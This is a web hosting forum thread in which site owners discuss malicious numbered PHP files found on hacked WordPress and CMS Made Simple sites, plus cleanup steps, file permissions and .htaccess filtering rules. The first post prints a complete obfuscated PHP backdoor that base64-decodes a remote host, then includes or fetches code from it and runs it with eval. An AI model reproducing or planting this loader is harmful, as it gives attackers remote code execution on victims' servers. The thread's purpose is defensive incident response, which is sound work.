Strange files appearing on my sites

Customer Support Customer Only Discussion
1

I’ve been cleaning up some strange files that have appeared on many of my customer sites. They appear to be malicious.

Here’s another thread from another web hosting forum describing exactly what I’m seeing, so I don’t need to repeat that whole thread here.

http://webmasterhotspot.com/lofiversion/index.php/t7792.html

I’m taking the steps of deleting the files, and resetting all permissions to 644 for files and 755 for directories. Some WordPress sites had the upload and cache directories set to 777, and those are where the files appear.

Setting them to 755 will break file upload functions for my customers - but setting them to 775 seems to work. Is 775 a safe setting?

I’m posting here because this is described as a cross-customer hack at the other web host, so perhaps other people may be affected. The files in my case are dated around 1-29-09 or so, give or take a day.

Here’s the contents of one of the files (named 42277.php) :

[PHP]<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwc2VhcmNoLmNu");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="f5bf77ef16e50fbf85b86532d2506ec9") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2FkczMu").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>
[/PHP]

2

I’ve seen this before and it was isolated just to the one user (just to state a small fact) it happened via a gallery script that wasn’t locked down. I don’t remember exactly which one, its been about a year and on linux so not something I really needed to ‘remember’

btw it would be good to send this as a ticket eventhough at this time it will be tkaen at low priority since it seems you have already cleaned it up.

3

I have had similar problems on my sites running an open source CMS called CMS Made Simple. The problem was with the file upload Java applet (postlet) which I think was part of an older version of FCKEditor (I could be wrong about that).

In my case, the miscreants were loading not only the numbered files but also phishing related files. The numbered files were pretty much the entry doors for uploading the phishing files. I got the opportunity to speak to all kinds of “nice” bank security firms across the globe who were understandably upset that my sites were operating phishing scams. JodoHost’s security team sent me some “nice” notes, too. :smiley:

Deleting the applet and setting appropriate file permissions seems to have stopped the attacks on my sites. (Fingers crossed!)

Tim

4

Thanks for the heads up. I’m going to check my sites as well… so can anyone else confirm that 775 is the recommend safe setting for the upload directory in wordpress?

5

Liming,

In my case, I also found extra .htaccess files that referred to the (random number).php files as 404 redirects. I also found a bunch of zero byte files named “WP”.

In my case it was easy to clean up because I had a recent backup of all the sites. It impacted about 6 of my customer sites. I used Beyond Compare to compare the FTP sites to my local backup and that turned up the extra files quickly.

As a tip - I used the latest version of FileZilla to reset the permissions. It has a recursive function in the file attributes dialog, and you can choose to recurse on files only, folders only, or both. That made the lock-down quick and easy.

I still don’t know if 775 is safe for upload directories, or if we need to adjust the ownership, or what. For now I just locked them down and Upload isn’t working.

David

6

I have files set to 604 and directories set to 705. This prevents uploading and modification. For those directories that do require write permissions (eg. your /uploads directory) I end up setting 777, using the .htaccess listed at the end of this note, and watching for rogue content.

Here’s a portion of the site-wide .htaccess I’m using for my CMS Made Simple web sites (the “friendly URL” rewriting parts are specific to that CMS). Lines that begin with # are comments, and explain what that block is doing. See the section starting with “#URL Filtering helps stop some hack attempts” for the portions that are designed help block some of the upload attacks.

[CODE]# BEGIN Optional settings

Turns off directory browsing

not absolutely essential, but keeps people from snooping around without

needing empty index.html files everywhere

Options -Indexes

Deny access to config.php

This can be useful if php ever breaks or dies

Use with caution, this may break other functions of CMSms that use a config.php

file. This may also break other programs you have running under your CMSms

install that use config.php. You may need to add another .htaccess file to those

directories to specifically allow config.php.

<Files “config.php”>
order allow,deny
deny from all

Sets your 403 error document

not absolutely essential to have,

or you may already have error pages defined elsewhere

ErrorDocument 403 /forbidden403.shtml

No sense advertising what we are running

ServerSignature Off

END Optional Settings

BEGIN CMSMS and Rewrite Rules

Make sure you have Options FollowSymLinks

and Allow on

RewriteEngine On

REDIRECTS REQUESTS TO http://site.com TO http://www.site.com

RewriteCond %{HTTP_HOST} !^www.YOURWEBSITE.com$
RewriteRule (.*) mywebsite.com [R=301,L]

non-www to www end

Might be needed in a subdirectory

#RewriteBase /

URL Filtering helps stop some hack attempts

#IF the URI contains a “http:”
RewriteCond %{QUERY_STRING} http: [OR]
#OR if the URI contains a “[”
RewriteCond %{QUERY_STRING} [ [OR]
#OR if the URI contains a “]”
RewriteCond %{QUERY_STRING} ] [OR]
#OR if the URI contains a “”
RewriteCond %{QUERY_STRING} (<|%3C).script.(>|%3E) [NC,OR]
#OR script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
#OR any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^.*$ - [F,L]

END Filtering

CMSMS Rewriting

Set assume mod_rewrite to true in config.php and clear CMSMS cache

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.+)$ index.php?page=$1 [QSA]

END CMSMS

END Rewrite rules

[/CODE]

Don’t just copy and paste this without updating for your specific web site. At minimum you have to change or delete the YOURWEBSITE portions and the CMS-MS specific URL rewriting part at the end.

In each of the directories I set to 777, I have this additional .htaccess file:

# To deny PHPs <Files ~ "\.(php|php3|php4|php5|phtml|pl|cgi)$"> order deny,allow deny from all </Files>

This blocks access to all php, perl, and CGI scripts. You could expand that if you wanted to block other file types.

Now, if I could only implement an htaccess on a Windows server!

Tim

7

Wow, thanks for all the info guys! Just when I thought I was secure enough it seems like I’m not even close. Frightening…